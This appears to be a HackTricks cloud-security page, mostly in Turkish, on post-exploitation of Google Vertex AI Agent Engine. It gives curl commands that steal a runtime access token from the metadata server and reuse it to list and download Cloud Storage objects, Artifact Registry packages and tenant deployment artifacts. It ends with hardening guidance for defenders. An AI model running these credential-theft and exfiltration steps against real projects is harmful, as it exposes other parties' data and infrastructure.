GCP - Vertex AI Post Exploitation

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Vertex AI Agent Engine / Reasoning Engine

This page focuses on Vertex AI Agent Engine / Reasoning Engine workloads that run attacker-controlled tools or code inside a Google-managed runtime.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine introduces a useful but dangerous pattern: developer-supplied code running inside a managed Google runtime with a Google-managed identity.

The interesting trust boundaries are:

  • Consumer project: your project and your data.
  • Producer project: Google-managed project operating the backend service.
  • Tenant project: Google-managed project dedicated to the deployed agent instance.

According to Google’s Vertex AI IAM documentation, Vertex AI resources can use Vertex AI service agents as resource identities, and those service agents can have read-only access to all Cloud Storage resources and BigQuery data in the project by default. If code running inside Agent Engine can steal the runtime credentials, that default access becomes immediately interesting.

Main abuse path

  1. Deploy or modify an agent so attacker-controlled tool code executes inside the managed runtime.
  2. Query the metadata server to recover project identity, service account identity, OAuth scopes, and access tokens.
  3. Reuse the stolen token as the Vertex AI Reasoning Engine P4SA / service agent.
  4. Pivot into the consumer project and read project-wide storage data allowed by the service agent.
  5. Pivot into the producer and tenant environments reachable by the same identity.
  6. Enumerate internal Artifact Registry packages and extract tenant deployment artifacts such as Dockerfile.zip, requirements.txt, and code.pkl.

This is not just a “run code in your own agent” issue. The key problem is the combination of:

  • metadata-accessible credentials
  • broad default service-agent privileges
  • wide OAuth scopes
  • multi-project trust boundaries hidden behind one managed service

Enumeration

Identify Agent Engine resources

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Vertex AI erişimine sahip bir token’ınız varsa, Reasoning Engine API’yi doğrudan enumerate edin:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Dağıtım günlüklerini kontrol edin çünkü paketleme veya çalışma zamanı başlatma sırasında kullanılan internal producer Artifact Registry paths leak edebilir:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Unit 42 araştırması şu iç yolları gözlemledi:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Runtime içindeki Metadata kimlik bilgisi hırsızlığı

Eğer agent runtime içinde kod çalıştırabiliyorsanız, önce metadata servisini sorgulayın:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

İlginç alanlar şunlardır:

  • proje tanımlayıcıları
  • bağlı service account / service agent
  • runtime için kullanılabilir OAuth scope’ları

Sonra ekli kimlik için bir token isteyin:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Token’ı doğrulayın ve verilen scopes’ları inceleyin:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google, araştırma raporlandıktan sonra ADK dağıtım iş akışının bazı kısımlarını değiştirdi; bu nedenle eski dağıtım snippet’leri artık mevcut SDK ile tam olarak uyuşmayabilir. Önemli primitif hâlâ aynı: eğer saldırgan kontrollü kod Agent Engine runtime içinde çalıştırılırsa, ek kontroller bu yolu engellemediği sürece metadatadan türetilmiş kimlik bilgilerine erişilebilir hale gelir.

Tüketici-proje pivotu: service-agent ile veri hırsızlığı

Runtime token çalındıktan sonra, service agent’in tüketici projeye karşı etkin erişimini test edin.

Belgelendirilmiş riskli varsayılan yetenek geniş proje verilerine okuma erişimidir. Unit 42 araştırması özellikle doğruladı:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Çalınan token ile pratik doğrulama:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Bu, ele geçirilmiş veya kötü amaçlı bir ajanı project-wide storage exfiltration primitive haline getirir.

Producer-project pivot: Artifact Registry’e dahili erişim

Aynı çalınmış kimlik Google-managed producer resources üzerinde de çalışabilir.

İlk olarak loglardan elde edilen dahili repository URI’lerini test edin. Ardından Artifact Registry API ile paketleri listeleyin:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Eğer elinizde yalnızca raw bearer token varsa, REST API’yi doğrudan çağırın:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Bu, yazma erişimi engellense bile değerli çünkü şunları açığa çıkarır:

  • dahili image isimleri
  • kullanımdan kaldırılmış image’lar
  • tedarik zinciri yapısı
  • sonraki araştırmalar için paket/sürüm envanteri

Daha fazla Artifact Registry arka plan bilgisi için:

GCP - Artifact Registry Enum

Tenant-project pivot: dağıtım artefaktlarının elde edilmesi

Reasoning Engine dağıtımları ayrıca o örnek için Google tarafından kontrol edilen bir tenant project içinde ilginç artefaktlar bırakır.

Unit 42 araştırması şunları buldu:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Çalınmış token’ı kullanarak erişilebilir depolamayı listeleyin ve dağıtım artefaktlarını arayın:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Tenant projesindeki artifaktlar şunları açığa çıkarabilir:

  • dahili bucket isimleri
  • dahili image referansları
  • paketleme varsayımları
  • bağımlılık listeleri
  • serileştirilmiş agent kodu

Blog ayrıca şu gibi bir dahili referans gözlemledi:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Even when the referenced restricted bucket is not readable, those leaked paths help map internal infrastructure.

code.pkl ve koşullu RCE

If the deployment pipeline stores executable agent state in Python pickle format, treat it as a high-risk target.

The immediate issue is confidentiality:

  • çevrimdışı deserializasyon kod yapısını açığa çıkarabilir
  • the package format leaks implementation details

The bigger issue is conditional RCE:

  • eğer bir saldırgan servis-tarafı deserializasyon öncesinde serileştirilmiş artifact’e müdahale edebiliyorsa
  • and the pipeline later loads that pickle
  • yönetilen runtime içinde arbitrary code execution mümkün hale gelir

This is not a standalone exploit by itself. It is a dangerous deserialization sink that becomes critical when combined with any artifact write or supply-chain tampering primitive.

OAuth scopes and Workspace blast radius

The metadata response also exposes the OAuth scopes attached to the runtime.

If those scopes are broader than the minimum required, a stolen token may become useful against more than GCP APIs. IAM still decides whether the identity is authorized, but broad scopes increase blast radius and make later misconfigurations more dangerous.

If you find Workspace-related scopes, cross-check whether the compromised identity also has a path to Workspace impersonation or delegated access:

GCP <–> Workspace Pivoting

Sertleştirme / tespit

Varsayılan managed identity yerine özel bir service account tercih edin

Current Agent Engine documentation supports setting a custom service account for the deployed agent. That is the cleanest way to reduce blast radius:

  • varsayılan geniş service agent’e bağımlılığı kaldırın
  • agenta gerekli olan en az izinleri verin
  • runtime kimliğini denetlenebilir ve kasıtlı olarak scoped hale getirin

Gerçek service-agent erişimini doğrulayın

Inspect the effective access of the Vertex AI service agent in every project where Agent Engine is used:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Eklenmiş kimliğin şu kaynakları okuyup okuyamayacağına odaklanın:

  • tüm GCS buckets
  • BigQuery veri setleri
  • Artifact Registry depoları
  • build/deployment workflows üzerinden erişilebilen secrets veya internal registries

Agent kodunu ayrıcalıklı kod yürütmesi olarak değerlendirin

Agent tarafından yürütülen herhangi bir araç/fonksiyon, metadata erişimi olan bir VM’de çalışan kodmuş gibi incelenmelidir. Pratikte bu şu anlama gelir:

  • agent araçlarını metadata endpoint’lerine doğrudan HTTP erişimi açısından inceleyin
  • logları internal pkg.dev repositories ve tenant buckets referansları için inceleyin
  • çalıştırılabilir durumu pickle olarak saklayan herhangi bir paketleme yolunu inceleyin

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin